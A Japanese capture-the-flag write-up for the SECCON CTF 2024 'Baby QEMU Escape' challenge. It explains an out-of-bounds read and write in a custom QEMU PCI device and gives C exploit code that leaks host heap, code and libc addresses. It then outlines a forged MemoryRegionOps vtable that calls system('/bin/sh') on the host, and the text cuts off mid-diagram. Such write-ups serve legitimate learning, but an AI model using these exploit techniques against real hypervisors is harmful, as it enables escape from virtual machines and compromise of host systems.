[TOC] ## 問題の画面 ![image](https://hackmd.io/_uploads/r14J-O1Qkl.png) ## 配布物・動作確認 ```shell= - build - src - release - docker-compose ``` `release`ディレクトリ内に, 問題を起動する一式が入っている. ![image](https://hackmd.io/_uploads/BJm_Tag7Je.png) - `roms` - QEMUの起動に使用する. (問題にはあまり関係ない) - `bzImage` - ゲスト用カーネル - `qemu-system-x86_64` - 問題のビルド済みQEMU(Version9.1.0) - `rootfs.cpio.gz` - ゲストOS用のファイルシステム - `run.sh` - 起動するスクリプト `Linux`環境であれば, `release`配下で以下のコマンドからローカルで問題を動かすことができる. 実行してみると以下のようにqemu上でLinuxにログインできる. ```shell= chmod +x run.sh ./run.sh ### ~ 以下ゲストのコンソール出力 ~ Starting syslogd: OK Starting klogd: OK Running sysctl: OK Saving 256 bits of non-creditable seed for next boot Starting network: udhcpc: started, v1.36.0 udhcpc: broadcasting discover udhcpc: broadcasting select for 10.0.2.15, server 10.0.2.2 udhcpc: lease of 10.0.2.15 obtained from 10.0.2.2, lease time 86400 deleting routers adding dns 10.0.2.3 OK Welcome to Buildroot buildroot login: root # rootでパスワード無しでログインできる. ### ログイン後 ### # id uid=0(root) gid=0(root) groups=0(root),10(wheel) # whoami root # uname -a Linux buildroot 6.2.8 #3 SMP PREEMPT_DYNAMIC Sun Mar 26 18:22:42 JST 2023 x86_64 GNU/Linux # ``` :::info なお, Ubuntu 24.04で動かす場合は, 私の環境では以下のパッケージが必要だった. ```shell= apt install libsdl2-image-dev ``` ::: `Docker`で動かす場合は, 同梱の`docker-compose.yml`を使う. 私は, 最初Kali Linuxでこの問題に着手していたが, `qemu`が依存するライブラリをリポジトリからインストールできず, `docker-compose`に切り替えた. ただし, 古い`docker-compose`ではこちらも動かなかったので, 以下のコマンドから更新しておくことをおすすめする. > 2024/11月時点ではv2.30.3が最新っぽい. ```shell= # which docker-compose # => docker-composeのパスを特定 # unlink <path>/<to>/<old_docker-compose> # wget -O <path>/<to>/<new_docker-compose> https://github.com/docker/compose/releases/download/v2.30.3/docker-compose-linux-x86_64 # chmod +x <path>/<to>/<new_docker-compose> ### docker-compose.ymlと同じディレクトリで # docker-compose up -d ``` `src`ディレクトリには, `baby.c`/`baby.h`2つのファイルが同梱されていた. それぞれの内容は以下の通り. :::spoiler `baby.h` ```c= #ifndef HW_BABY_H #define HW_BABY_H #define TYPE_PCI_BABY_DEV "baby" #define BABY_PCI_VENDOR_ID 0x4296 #define BABY_PCI_DEVICE_ID 0x1338 struct PCIBabyDevReg { off_t offset; uint32_t data; }; #define MMIO_SET_OFFSET offsetof(struct PCIBabyDevReg, offset) #define MMIO_SET_DATA offsetof(struct PCIBabyDevReg, data) #define MMIO_GET_DATA offsetof(struct PCIBabyDevReg, data) // #define DEBUG_PCI_BABY_DEV #ifdef DEBUG_PCI_BABY_DEV #define debug_printf(fmt, ...) printf("## (%3d) %-20s: " fmt, __LINE__, __func__, ## __VA_ARGS__) #else #define debug_printf(fmt, ...) #endif #endif ``` ::: :::spoiler `baby.c` ```c= #include "qemu/osdep.h" #include "hw/pci/pci_device.h" #include "hw/qdev-properties.h" #include "qemu/module.h" #include "sysemu/kvm.h" #include "qom/object.h" #include "qapi/error.h" #include "hw/char/baby.h" struct PCIBabyDevState { PCIDevice parent_obj; MemoryRegion mmio; struct PCIBabyDevReg *reg_mmio; uint8_t buffer[0x100]; }; OBJECT_DECLARE_SIMPLE_TYPE(PCIBabyDevState, PCI_BABY_DEV) static uint64_t pci_babydev_mmio_read(void *opaque, hwaddr addr, unsigned size); static void pci_babydev_mmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned size); static const MemoryRegionOps pci_babydev_mmio_ops = { .read = pci_babydev_mmio_read, .write = pci_babydev_mmio_write, .endianness = DEVICE_LITTLE_ENDIAN, .impl = { .min_access_size = 1, .max_access_size = 4, }, }; static void pci_babydev_realize(PCIDevice *pci_dev, Error **errp) { PCIBabyDevState *ms = PCI_BABY_DEV(pci_dev); uint8_t *pci_conf; debug_printf("called\n"); pci_conf = pci_dev->config; pci_conf[PCI_INTERRUPT_PIN] = 0; ms->reg_mmio = g_malloc(sizeof(struct PCIBabyDevReg)); memory_region_init_io(&ms->mmio, OBJECT(ms), &pci_babydev_mmio_ops, ms, TYPE_PCI_BABY_DEV"-mmio", sizeof(struct PCIBabyDevReg)); pci_register_bar(pci_dev, 0, PCI_BASE_ADDRESS_SPACE_MEMORY | PCI_BASE_ADDRESS_MEM_TYPE_64, &ms->mmio); } static void pci_babydev_reset(PCIBabyDevState *ms) { debug_printf("called\n"); bzero(ms->reg_mmio, sizeof(struct PCIBabyDevReg)); bzero(ms->buffer, sizeof(ms->buffer)); } static void pci_babydev_uninit(PCIDevice *pci_dev) { PCIBabyDevState *ms = PCI_BABY_DEV(pci_dev); pci_babydev_reset(ms); g_free(ms->reg_mmio); } static void qdev_pci_babydev_reset(DeviceState *s) { PCIBabyDevState *ms = PCI_BABY_DEV(s); pci_babydev_reset(ms); } static Property pci_babydev_properties[] = { DEFINE_PROP_END_OF_LIST(), }; static void pci_babydev_class_init(ObjectClass *klass, void *data) { DeviceClass *dc = DEVICE_CLASS(klass); PCIDeviceClass *k = PCI_DEVICE_CLASS(klass); k->realize = pci_babydev_realize; k->exit = pci_babydev_uninit; k->vendor_id = BABY_PCI_VENDOR_ID; k->device_id = BABY_PCI_DEVICE_ID; k->revision = 0x00; k->class_id = PCI_CLASS_OTHERS; dc->desc = "SECCON CTF 2024 Challenge : Baby QEMU Escape Device"; set_bit(DEVICE_CATEGORY_MISC, dc->categories); dc->reset = qdev_pci_babydev_reset; device_class_set_props(dc, pci_babydev_properties); } static const TypeInfo pci_babydev_info = { .name = TYPE_PCI_BABY_DEV, .parent = TYPE_PCI_DEVICE, .instance_size = sizeof(PCIBabyDevState), .class_init = pci_babydev_class_init, .interfaces = (InterfaceInfo[]) { { INTERFACE_CONVENTIONAL_PCI_DEVICE }, { }, }, }; static void pci_babydev_register_types(void) { type_register_static(&pci_babydev_info); } type_init(pci_babydev_register_types) static uint64_t pci_babydev_mmio_read(void *opaque, hwaddr addr, unsigned size) { PCIBabyDevState *ms = opaque; struct PCIBabyDevReg *reg = ms->reg_mmio; debug_printf("addr:%lx, size:%d\n", addr, size); switch(addr){ case MMIO_GET_DATA: debug_printf("get_data (%p)\n", &ms->buffer[reg->offset]); return *(uint64_t*)&ms->buffer[reg->offset]; } return -1; } static void pci_babydev_mmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned size) { PCIBabyDevState *ms = opaque; struct PCIBabyDevReg *reg = ms->reg_mmio; debug_printf("addr:%lx, size:%d, val:%lx\n", addr, size, val); switch(addr){ case MMIO_SET_OFFSET: reg->offset = val; break; case MMIO_SET_OFFSET+4: reg->offset |= val << 32; break; case MMIO_SET_DATA: debug_printf("set_data (%p)\n", &ms->buffer[reg->offset]); *(uint64_t*)&ms->buffer[reg->offset] = (val & ((1UL << size*8) - 1)) | (*(uint64_t*)&ms->buffer[reg->offset] & ~((1UL << size*8) - 1)); break; } } ``` ::: 中身は後で解析することにして, まずはデバッグできる環境を構築する. ## デバッグ環境構築 まずは問題のデバイスを特定したい. qemu escapeの問題であれば大抵, PCIに独自にデバイスを定義しているはずなので, qemuのmonitorとゲストから情報を取得して特定する. ### デバッグ用の`rootfs`の作成 `rootfs`のデバッグバージョンを作っておく. ```shell= ## [cpio展開時] ## rootfs.cpio.gzと同じディレクトリで, mkdir -p dbgfs pushd dbgfs/ zcat ../rootfs.cpio.gz | cpio -iv popd ## [cpio圧縮時] ## exploitを配置する場合, ## 例えば, gcc -o x -static x.c && cp ./x ./dbgfs/とした後, ## 以下のコマンドを使って, cpio.gzを再作成可能. pushd dbgfs find . | cpio --format=newc -o | gzip -c -9 > ../dbgfs.cpio.gz popd ``` ### `run.sh`の書き換え まずmonitorへのアクセスを確保する. `run.sh`を以下のように変更しておくとよい. (新たに) ```shell= #!/bin/sh ## cd $(dirname $0)を消す. ## timeoutコマンドを消す.(exec timeout -sKILL 180まで) ./qemu-system-x86_64 \ -L ./roms \ -m 64M \ -kernel bzImage \ -append "console=ttyS0 oops=panic panic=1 loglevel=3 pti=on kaslr" \ -cpu kvm64,smap,smep \ -initrd dbgfs.cpio.gz \ ★上で作成したローカル用initramfs -device baby \ -monitor telnet::4444,server,nowait \★monitorにtelnetからアクセス(PCIの情報取得用なのであとで消しても良い) -nographic \ -no-reboot \ -net nic,model=virtio \ -net user ``` 起動後, 別の端末から`telnet localhost 4444`とすることで`qemu`の`monitor`セッションに入ることができる. ```shell= # ./dbg.sh # run.shを書き換えたキックスクリプト Starting syslogd: OK Starting klogd: OK Running sysctl: OK Saving 256 bits of non-creditable seed for next boot Starting network: udhcpc: started, v1.36.0 udhcpc: broadcasting discover udhcpc: broadcasting select for 10.0.2.15, server 10.0.2.2 udhcpc: lease of 10.0.2.15 obtained from 10.0.2.2, lease time 86400 deleting routers adding dns 10.0.2.3 OK Welcome to Buildroot buildroot login: # ※ 最近のUbuntuではtelnetクライアントがデフォルトで入ってないため, # 必要に応じて, apt install telnetすること. # # 別の端末から # telnet localhost 4444 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. QEMU 9.1.0 monitor - type 'help' for more information (qemu) #← monitorプロンプトが表示されればOK ``` `qemu`でPCIデバイスの情報を得るには, `info pci`コマンドを使う. :::spoiler 実行結果 ```shell= (qemu) info pci Bus 0, device 0, function 0: Host bridge: PCI device 8086:1237 PCI subsystem 1af4:1100 id "" Bus 0, device 1, function 0: ISA bridge: PCI device 8086:7000 PCI subsystem 1af4:1100 id "" Bus 0, device 1, function 1: IDE controller: PCI device 8086:7010 PCI subsystem 1af4:1100 BAR4: I/O at 0xc020 [0xc02f]. id "" Bus 0, device 1, function 3: Bridge: PCI device 8086:7113 PCI subsystem 1af4:1100 IRQ 9, pin A id "" Bus 0, device 2, function 0: VGA controller: PCI device 1234:1111 PCI subsystem 1af4:1100 BAR0: 32 bit prefetchable memory at 0xfd000000 [0xfdffffff]. BAR2: 32 bit memory at 0xfebd0000 [0xfebd0fff]. BAR6: 32 bit memory at 0xffffffffffffffff [0x0000fffe]. id "" Bus 0, device 3, function 0: Ethernet controller: PCI device 1af4:1000 PCI subsystem 1af4:0001 IRQ 11, pin A BAR0: I/O at 0xc000 [0xc01f]. BAR1: 32 bit memory at 0xfebd1000 [0xfebd1fff]. BAR4: 64 bit prefetchable memory at 0xfe000000 [0xfe003fff]. BAR6: 32 bit memory at 0xffffffffffffffff [0x0003fffe]. id "" Bus 0, device 4, function 0: Class 0255: PCI device 4296:1338 PCI subsystem 1af4:1100 BAR0: 64 bit memory at 0xfebd2000 [0xfebd200f]. id "" (qemu) ``` ::: > コマンドの中身は, https://hackmd.io/@bata24/ByRHna914?type=view が詳しい. 今回の問題となるデバイスは, 最後のブロックに存在する. ``` Bus 0, device 4, function 0: Class 0255: PCI device 4296:1338 ★PCIデバイス PCI subsystem 1af4:1100 BAR0: 64 bit memory at 0xfebd2000 [0xfebd200f]. ★マップされた物理メモリ id "" ``` `PCI device`の, `4296:1338`の部分が重要だ. これはVENDOR_ID(`4296`)とDEVICE_ID(`1338`)で, 問題のソースコード(`baby.h`)や, `/sys`, さらに`lspci`コマンドから判別することができる. - ソースコード ```c= #define BABY_PCI_VENDOR_ID 0x4296 #define BABY_PCI_DEVICE_ID 0x1338 ``` - `/sys`の情報 ```shell= # cat /sys/devices/pci0000:00/0000:00:04.0/device 0x1338 # cat /sys/devices/pci0000:00/0000:00:04.0/vendor 0x4296 # ``` - ゲストシェルの`lspci`コマンド. ```shell= # lspci 00:01.0 Class 0601: 8086:7000 00:04.0 Class 00ff: 4296:1338★これが該当のデバイス. `00:04.0`は, `Bus 0, device 4, function 0`を示している. 00:00.0 Class 0600: 8086:1237 00:01.3 Class 0680: 8086:7113 00:03.0 Class 0200: 1af4:1000 00:01.1 Class 0101: 8086:7010 00:02.0 Class 0300: 1234:1111 # ``` ファイルシステムからこのデバイスにアクセスする場合, 大体`sysfs`(`/sys`)を使う. `PCI`デバイスの場合, 以下のどちらかかのパスからデバイスにアクセスできる. 1. `/sys/bus/pci/devices/0000:00:04.0/` 2. `/sys/bus/device/pci0000:00/0000:00:04.0` > 1は2へのシンボリックリンクになっている. このディレクトリ配下にある`resourceN`ファイル(`N`は整数)が実際にアクセスするインターフェースである. ```shell= # ls /sys/devices/pci0000:00/0000:00:04.0 ari_enabled irq resource broken_parity_status link resource0★これが, 問題のデバイス. class local_cpulist revision config local_cpus subsystem consistent_dma_mask_bits modalias subsystem_device device msi_bus subsystem_vendor dma_mask_bits power_state uevent driver_override remove vendor enable rescan # ``` よってこの問題では, 以下のファイルが問題デバイスのファイル. `/sys/devices/pci0000:00/0000:00:04.0/resource0` > シンボリックリンクの`/sys/bus/pci/devices/0000:00:04.0/resouce0`を使っても良い. ## 問題解析 PCIデバイスにアクセスするためのファイルが特定できたところで, どのような処理が実装されているのか見ていこう. 配布された`baby.h`/`baby.c`を読んでいく. なお`baby.h`を読むとわかるが, この問題では,`DEBUG_PCI_BABY_DEV`が無効でビルドされており, `debug_print`関数はバイナリ中に存在しない. そのため, 以下の説明では削っている. ```c= // ~ snip ~ /* baby.hの内容も転記 */ struct PCIBabyDevReg { off_t offset; // +0x0 ~ 0x8 uint32_t data; // +0x8 ~ 0x0c }; #define MMIO_SET_OFFSET offsetof(struct PCIBabyDevReg, offset) #define MMIO_SET_DATA offsetof(struct PCIBabyDevReg, data) #define MMIO_GET_DATA offsetof(struct PCIBabyDevReg, data) struct PCIBabyDevState { PCIDevice parent_obj; MemoryRegion mmio; struct PCIBabyDevReg *reg_mmio; uint8_t buffer[0x100]; }; // ~ snip ~ static const MemoryRegionOps pci_babydev_mmio_ops = { .read = pci_babydev_mmio_read, .write = pci_babydev_mmio_write, .endianness = DEVICE_LITTLE_ENDIAN, .impl = { .min_access_size = 1, .max_access_size = 4, }, }; // ~ snip ~ static uint64_t pci_babydev_mmio_read( void *opaque, hwaddr addr, unsigned size ) { PCIBabyDevState *ms = opaque; struct PCIBabyDevReg *reg = ms->reg_mmio; switch(addr){ case MMIO_GET_DATA: return *(uint64_t*)&ms->buffer[reg->offset]; } return -1; } static void pci_babydev_mmio_write( void *opaque, hwaddr addr, uint64_t val, unsigned size ) { PCIBabyDevState *ms = opaque; struct PCIBabyDevReg *reg = ms->reg_mmio; switch(addr){ case MMIO_SET_OFFSET: // addr == 0 reg->offset = val; break; case MMIO_SET_OFFSET + 4: // addr == 4 reg->offset |= val << 32; break; case MMIO_SET_DATA: // addr == 8 *(uint64_t*)&ms->buffer[reg->offset] = (val & ((1UL << size*8) - 1)) | (*(uint64_t*)&ms->buffer[reg->offset] & ~((1UL << size*8) - 1)); break; } } ``` `read`/`write`ハンドラが実装されている. `read`ハンドラでは, `reg->offset`をindexにして, `ms->buffer[index]`から32bitを読み出す. `write`では, 3つの操作が存在する. 1. `MMIO_SET_OFFSET`: `reg->offset`の操作1 - `reg->offset`の下位32bitを任意の値(`val`)にセットする. 2. `MMIO_SET_OFFSET + 4`: `reg->offset`の操作2 - `reg->offset`の上位32bitを任意の値(`val`)にセットする. 3. `MMIO_SET_DATA`: `ms->buffer[i]`の操作 - 任意の32bitの値(`val`)をセットする `mmio_write`関数内の`MMIO_SET_DATA`の処理は少し補足しておく. ```c= *(uint64_t*)&ms->buffer[reg->offset] = (val & ((1UL << size*8) - 1)) | (*(uint64_t*)&ms->buffer[reg->offset] & ~((1UL << size*8) - 1)); ``` これをもう少しきれいに書き直すと, 以下のようなことをしている. ```c= unsigned long mask = (1UL << size * 8) - 1; // 2^{size * 8} - 1; off_t i = reg->offset; // reg->offsetをms->bufferのindexとして使う. uint64_t *p = (uint64_t *)&ms->buffer[i]; // 64bitのポインタとしてms->buffer[i:i+8]のメモリを取得. *p = (val & mask) | *p&~mask; // valをbuffer[i:i+8]に代入. ``` ### デバイスとやり取りするプログラムの雛形 Exploitを開発するにあたり, デバイスとやり取りするために以下のようなコードを書いておくとよい. ```c= #define _GNU_SOURCE #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <stddef.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/mman.h> #define DEVICE "/sys/bus/pci/devices/0000:00:04.0/resource0" #define MAP_RESOURCE_SIZE 0x1000 struct PCIBabyDevReg { off_t offset; // +0x0 ~ 0x8 uint32_t data; // +0x8 ~ 0x0c }; #define MMIO_SET_OFFSET offsetof(struct PCIBabyDevReg, offset) // => 0 #define MMIO_SET_DATA offsetof(struct PCIBabyDevReg, data) // => 0x8 #define MMIO_GET_DATA offsetof(struct PCIBabyDevReg, data) // => 0x8 static void ddh(unsigned long *addr, const size_t qword_num){ for(size_t i = 0; i < qword_num - 1; i+=2){ unsigned long v1 = (unsigned long)addr[i]; unsigned long v2 = (unsigned long)addr[i + 1]; if( v1 == 0ul && v2 == 0ul) continue; printf("[+%02lx]: 0x%016lx 0x%016lx\n", i , v1, v2); } } _Noreturn static void fatal(const char *msg) { perror(msg); exit(EXIT_FAILURE); __builtin_unreachable(); } static void *open_device(const char *path) { int pci_fd = open(path, O_RDWR); if(pci_fd < 0) fatal("open"); void *p = mmap(NULL, MAP_RESOURCE_SIZE, PROT_READ|PROT_WRITE, MAP_SHARED, pci_fd, 0); if(p == MAP_FAILED) { close(pci_fd); fatal("mmap"); } if(close(pci_fd) < 0) fatal("close"); printf("[+] PCI device path : %s\n", path); printf("[+] PCI mapped address: %p\n", p); return p; } static void mmio_write(void *rsrc_addr, uint64_t offset, uint32_t value) { uint64_t addr = (uint64_t)(rsrc_addr) + offset; *(uint32_t *)addr = value; } static uint32_t mmio_read(void *rsrc_addr, uint64_t offset) { uint64_t addr = (uint64_t)(rsrc_addr) + offset; return *(uint32_t *)addr; } int main(int argc, char **argv) { void *pci = open_device(DEVICE); // bufferに4バイトずつ書き込む for(size_t i = 0; i < 0x100; i += sizeof(uint32_t)) { mmio_write(pci, MMIO_SET_OFFSET, i); mmio_write(pci, MMIO_SET_DATA, 0xdead0000 | i); } // bufferから4バイトずつ読み出す. for(size_t i = 0; i < 0x100; i+= sizeof(uint32_t)) { mmio_write(pci, MMIO_SET_OFFSET, i); uint32_t data = mmio_read(pci, MMIO_GET_DATA); printf("ms->buffer[0x%lx]: 0x%x\n", i, data); } return 0; } ``` ゲストで実行するには, 以下のようなコマンドを実行する. ```shell= # apt update && apt install -y musl-tools (option) # musl-gcc -static client.c -o client (なければgccでもよい) # cp ./client ./dbgfs/ # pushd ./dbgfs # find . | cpio --format=newc -o | gzip -c -9 > ../dbgfs.cpio.gz # popd # dbg.sh ## 最初に作成したキックスクリプト ## ゲスト内で実行 # /client ``` ### バグ解析 `read`/`write`ハンドラの両方に明らかな範囲外参照が存在する. > バグっつーか仕様? どちらも`reg->offset`をindexとして`ms->buffer[reg->offset]`というアクセスを行うが, `write`ハンドラの`MMIO_SET_OFFSET`を使うと, `reg->offset`を任意の値にセットできる. しかし, `ms->buffer`のサイズは`0x100`しかないので, 配列の範囲を超えて値を読み出したり, 書き込んだりすることができる. ```clike= // ~ read時 ~ static uint64_t pci_babydev_mmio_read( // ~ snip ~ // BUG: reg->offsetが0x100より小さいかチェックしてない return *(uint64_t*)&ms->buffer[reg->offset]; // ~ write時 ~ static void pci_babydev_mmio_write( // ~ snip ~ // reg->offsetは任意の値にセットできる. case MMIO_SET_OFFSET: reg->offset = val; break; case MMIO_SET_OFFSET + 4: reg->offset |= val << 32; break; case MMIO_SET_DATA: // BUG: reg->offsetが0x100より小さいかチェックしてない. *(uint64_t*)&ms->buffer[reg->offset] = (val & ((1UL << size*8) - 1)) | (*(uint64_t*)&ms->buffer[reg->offset] & ~((1UL << size*8) - 1)); break; ``` ## 方針 今我々は上方向にも下方向にも範囲外参照できるため, このデバイス自身の`vtable`ポインタを書き換えるのが良さそうである. `QEMU`は内部で大量の`libc`の関数を呼び出しており,`system`や`mprotect`関数といったExploitで使える関数もPLT/GOTに存在する. しかし, この問題は, `QEMU`は`Full-RELRO`ビルドされているため, `GOT Overwrite`は使えない. 具体的には以下のようなステップで攻略できそう. 1. `ms->buffer`領域に偽装`vtable`を作っておく. - `leak`した後は,`read`ハンドラはもう使わないため, 偽装vtableの`read`ハンドラ相当(`buffer[0:8]`)を`system`に向けておく. - 後で`system`の引数となる`opaque`を`"/bin/sh"`に向ける書き込みが必要であるため,`write`ハンドラ相当(`buffer[8:16]`)はそのまま`pci_babydev_mmio_write`に向けておく. 2. `mmio_write`関数で, `opaque`の指し先を書き換える. - `"/bin/sh"`のアドレスを向くように書き換えておく. 3. `mmio_read`関数を呼び出す. - `ops->read(opaque, ...)`の形で呼び出される. - `fake_vtable->read`は1で`system`を向いているため, `system("/bin/sh")`として呼び出される. ### ホストアドレスのリーク まずは, qemuの各種アドレスをリークしたい. `qemu`ではheapに大量のデータが書き込まれているので, 適当にインデックスを弄って`read`すると, 色々情報が手に入る. あとは`gdb`で`xinfo`してoffsetを引けば, 各種アドレスはすぐにリークできる. `main`をこんな感じにして回してみる. ```c= ~ snip ~ static void dev_write64(void *pci, size_t offset, uint64_t value) { uint32_t lsb = value&0xffffffff; uint32_t msb = (value >> 32)&0xffffffff; // write qword mmio_write(pci, MMIO_SET_OFFSET, offset); mmio_write(pci, MMIO_SET_DATA, lsb); mmio_write(pci, MMIO_SET_OFFSET, offset + 4); mmio_write(pci, MMIO_SET_DATA, msb); // revert reg->offset mmio_write(pci, MMIO_SET_OFFSET, 0); } static uint64_t dev_read64(void *pci, size_t offset) { uint32_t lsb = 0; uint64_t msb = 0; uint64_t value = 0; mmio_write(pci, MMIO_SET_OFFSET, offset); lsb = mmio_read(pci, MMIO_GET_DATA); mmio_write(pci, MMIO_SET_OFFSET, offset + 4); msb = mmio_read(pci, MMIO_GET_DATA); // revert reg->offset mmio_write(pci, MMIO_SET_OFFSET, 0); value = msb << 32; value |= lsb; return value & 0xffffffffffffffffUL; } #define BUFFER_SZ 0x100 int main(int argc, char **argv) { void *pci = open_device(DEVICE); for(size_t i = 0; i < 0x100; i+= sizeof(uint64_t)) { uint64_t data = dev_read64(pci, BUFFER_SZ + i); printf("leak[%lu]: 0x%lx\n", i, data); } return 0; } ``` これで実行すると, Code領域のアドレスとHeap領域のアドレスを取得できる. ```shell= # /find_leak [+] PCI device path : /sys/bus/pci/devices/0000:00:04.0/resource0 [+] PCI mapped address: 0x7f7e65ef4000 leak[0]: 0x0 leak[8]: 0x0 leak[16]: 0x61 leak[24]: 0x5873b80d60d0★heapのアドレス leak[32]: 0x5873b80d60b0 leak[40]: 0x0 leak[48]: 0x5873b414e4a0★codeのアドレス leak[56]: 0x0 leak[64]: 0x5873b4149330 leak[72]: 0x5873b414bbd0 leak[80]: 0x0 leak[88]: 0x5873b80d71b0 ~ snip ~ # ``` さらに上記の方針で範囲を広げていくと,`code`/`heap`/`libc`のアドレスを全て得られる. ```c= int main(int argc, char **argv) { uint64_t leak; uint32_t lsb; void *pci = open_device(DEVICE); #define BUF_SIZE 0x100 leak = dev_read64(pci, BUF_SIZE + 3 * 8); #define OFFSET_HEAP 0x115f730 #define OFFSET_OUR_BUFFER 0x1161408 uint64_t heap_base_host = leak - OFFSET_HEAP; uint64_t our_buffer = heap_base_host + OFFSET_OUR_BUFFER; #define OFFSET_CODE 0x7b44a0 #define OFFSET_PLT_SYSTEM 0x324150 #define OFFSET_GOT_SYSTEM 0x18e2d38 #define OFFSET_BINSH 0x598417 leak = dev_read64(pci, BUF_SIZE + 6 * 8); uint64_t code_base_host = leak - OFFSET_CODE; uint64_t binsh = code_base_host + OFFSET_BINSH; uint64_t plt_system = code_base_host + OFFSET_PLT_SYSTEM; uint64_t got_system = code_base_host + OFFSET_GOT_SYSTEM; #define OFFSET_LIBC 0x203b00 #define OFFSET_LIBC_SYSTEM 0x00058740 leak = dev_read64(pci, BUF_SIZE + 558 * 8); uint64_t libc_base_host = leak - OFFSET_LIBC; uint64_t libc_system = libc_base_host + OFFSET_LIBC_SYSTEM; printf("[+] heap(host) : 0x%lx\n", heap_base_host); printf("[+] Our buffer : 0x%lx\n", our_buffer); printf("[+] code(host) : 0x%lx\n", code_base_host); printf("[+] system@plt(host): 0x%lx\n", plt_system); printf("[+] system@got(host): 0x%lx\n", got_system); printf("[+] system@(host) : 0x%lx\n", libc_system); printf("[+] \"/bin/sh\" : 0x%lx\n", binsh); printf("[+] libc(host) : 0x%lx\n", libc_base_host); return 0; } ``` 実行すると, 各種アドレスをリークできていることがわかる. ```shell= # /leak [+] PCI device path : /sys/bus/pci/devices/0000:00:04.0/resource0 [+] PCI mapped address: 0x7f06f79c4000 [+] heap(host) : 0x559809fcc9a0 [+] Our buffer : 0x55980b12dda8 [+] code(host) : 0x559806e98000 [+] system@plt(host): 0x5598071bc150 [+] system@got(host): 0x55980877ad38 [+] system@(host) : 0x79b374858740 [+] "/bin/sh" : 0x559807430417 [+] libc(host) : 0x79b374800000 # ``` ### 偽装vtableの構築 + 任意コード実行 #### ハンドラ関数のアドレスを知りたい さて, 上記の方針を実装するうえで一つ課題が存在する. 今, 我々はコールバック用の`vtable`を偽装したい. しかも`vtable`の`write`ハンドラは正規の`pci_babydev_mmio_write`関数にしておきたい. ここで壁に当たるのだが, そもそも, - `pci_babydev_mmio_read` - `pci_babydev_mmio_write` - `pci_babydev_mmio_ops` はどこにあるのだろうか? 今回, 配布された`qemu-system-x86_64`は`strip`されており, シンボル情報が存在しない. そのため, 前述の方針でExploitするには, ハンドラ関数やvtableのアドレス(`ops`)を知る必要がある. > 正確には, `ops`のアドレスを知る必要は無いのだが, どこからハンドラ関数を呼び出しているかという情報は, Exploitには有益なので知っておくべきだろう. 使ってる構造体を再度よく見てみよう. ```c= struct PCIBabyDevState { PCIDevice parent_obj; MemoryRegion mmio; struct PCIBabyDevReg *reg_mmio; uint8_t buffer[0x100]; }; ``` `MemoryRegion`構造体を内部で使用している事がわかる. [qemuのソースコード]( https://elixir.bootlin.com/qemu/v9.1.0/source/include/exec/memory.h#L755)を読むと, vtableへのポインタ(`ops`メンバ)を持っており, デバイスで定義しているコールバック関数は, このポインタを経由して呼び出される. ```c= struct MemoryRegion { // ~ snip ~ /* owner as TYPE_DEVICE. Used for re-entrancy checks in MR access hotpath */ DeviceState *dev; const MemoryRegionOps *ops; // ★vtableへのポインタ void *opaque; MemoryRegion *container; int mapped_via_alias; /* Mapped via an alias, container might be NULL */ Int128 size; hwaddr addr; void (*destructor)(MemoryRegion *mr); uint64_t align; // ~ snip ~ }; ``` > https://elixir.bootlin.com/qemu/v9.1.0/source/include/exec/memory.h#L755 `MemoryRegionOps`構造体の定義は以下. ```c= struct MemoryRegionOps { /* Read from the memory region. @addr is relative to @mr; @size is * in bytes. */ uint64_t (*read)(void *opaque, hwaddr addr, unsigned size); /* Write to the memory region. @addr is relative to @mr; @size is * in bytes. */ void (*write)(void *opaque, hwaddr addr, uint64_t data, unsigned size); // ~ snip ~ }; ``` https://elixir.bootlin.com/qemu/v9.1.0/source/include/exec/memory.h#L264 つまり`ops`の指しているのが`read`ハンドラ, そこから更に`8`バイト下に`write`ハンドラのアドレスが存在する. ``` QEMUのHeapメモリ : : +- PCIBabyDevState -----+ <-- heap_base + 0x115f730 +--- parent_obj --------+ | | : : : | | +--- mmio --------------+ <--- MemoryRegion構造体 | | +---> +-- MemoryRegionOps -----+ : : : | | &pci_babydev_mmio_read | <- これがreadハンドラのアドレス | ops ------+---+ | &pci_babydev_mmio_write| <- これがwriteハンドラのアドレス | opaque | : : | | container | | | | | +------------------------+ : : +-----------------------+ | reg_mmio +-------> +-- PCIBabyDevReg ------+ +--- buffer ------------+ | data | offset | | Our Data | +-----------------------+ | Our Data | | Our Data | : : : +-----------------------+ ``` 実際にデバッガで追っかけてみると, 以下に存在した. - `pci_babydev_mmio_read`: `$codebase + 0x3ae170` - `pci_babydev_mmio_write`: `$codebase + 0x3ae1b0` これでvtableを偽装する際, writeだけを正規のハンドラにしておくことが可能になった. #### `vtable`ポインタの書き換え ここまでくれば、後は`MemoryRegionOps *ops`の指し先を, 偽装したvtableに向けてやればよい. 今、QEMUのHeapアドレスはわかっているため, 偽装したvtableに向くようOOBで書き換えれば良い. メモリのレイアウトとしては以下のような感じ. ``` QEMUのHeapメモリ : : +- PCIBabyDevState -----+ <-- heap_base + 0x115f730 +--- parent_obj --------+ | | : : : | | +--- mmio --------------+ <--- MemoryRegion構造体 | | : : : | ops' ------+----+ | opaque | | | : | | | | | : : : +-----------------------+ | | reg_mmio + | +--- buffer ------------+ <--+ <--- 偽装したMemoryRegionOps | &system | --> readハンドラ経由でsystemを呼ぶ. |&pci_babydev_mmio_write| --> writeハンドラは, この後も使いたいのでそのまま向けておく. | : | : : +-----------------------+ ``` この状態で`mmio_read`すればRIPを奪うことができる. #### `opaque`の書き換え この時点でRIPが奪えているので、one gadgetが刺されば勝利だったが, 今回の問題ではOne Gadgetは一つも刺さらなかった. そのため, `system`に飛んだときの引数を指定する必要がある. `read`/`write`ともに, ハンドラを呼び出す場合, 第2引数は`opaque`を指定している. ```c= // read static uint64_t pci_babydev_mmio_read( void *opaque, // ★ hwaddr addr, unsigned size ) { // write static void pci_babydev_mmio_write( void *opaque, // ★ hwaddr addr, uint64_t val, unsigned size ) ``` ハンドラにブレークポイントを仕掛けておくと一発でわかるが, この`opaque`は`MemoryRegion`の`opaque`が渡されている. そのため, `PCIBabyDevState.MemoryRegion.opaque`を書き換えてやれば,ハンドラ呼び出し時に第1引数に渡される. そのため先ほど, 残しておいた正規のwriteハンドラを使って, 今度は`opaque`を`"/bin/sh"`に向くように書き換えればよい. ``` QEMUのHeapメモリ : : +- PCIBabyDevState -----+ <-- heap_base + 0x115f730 +--- 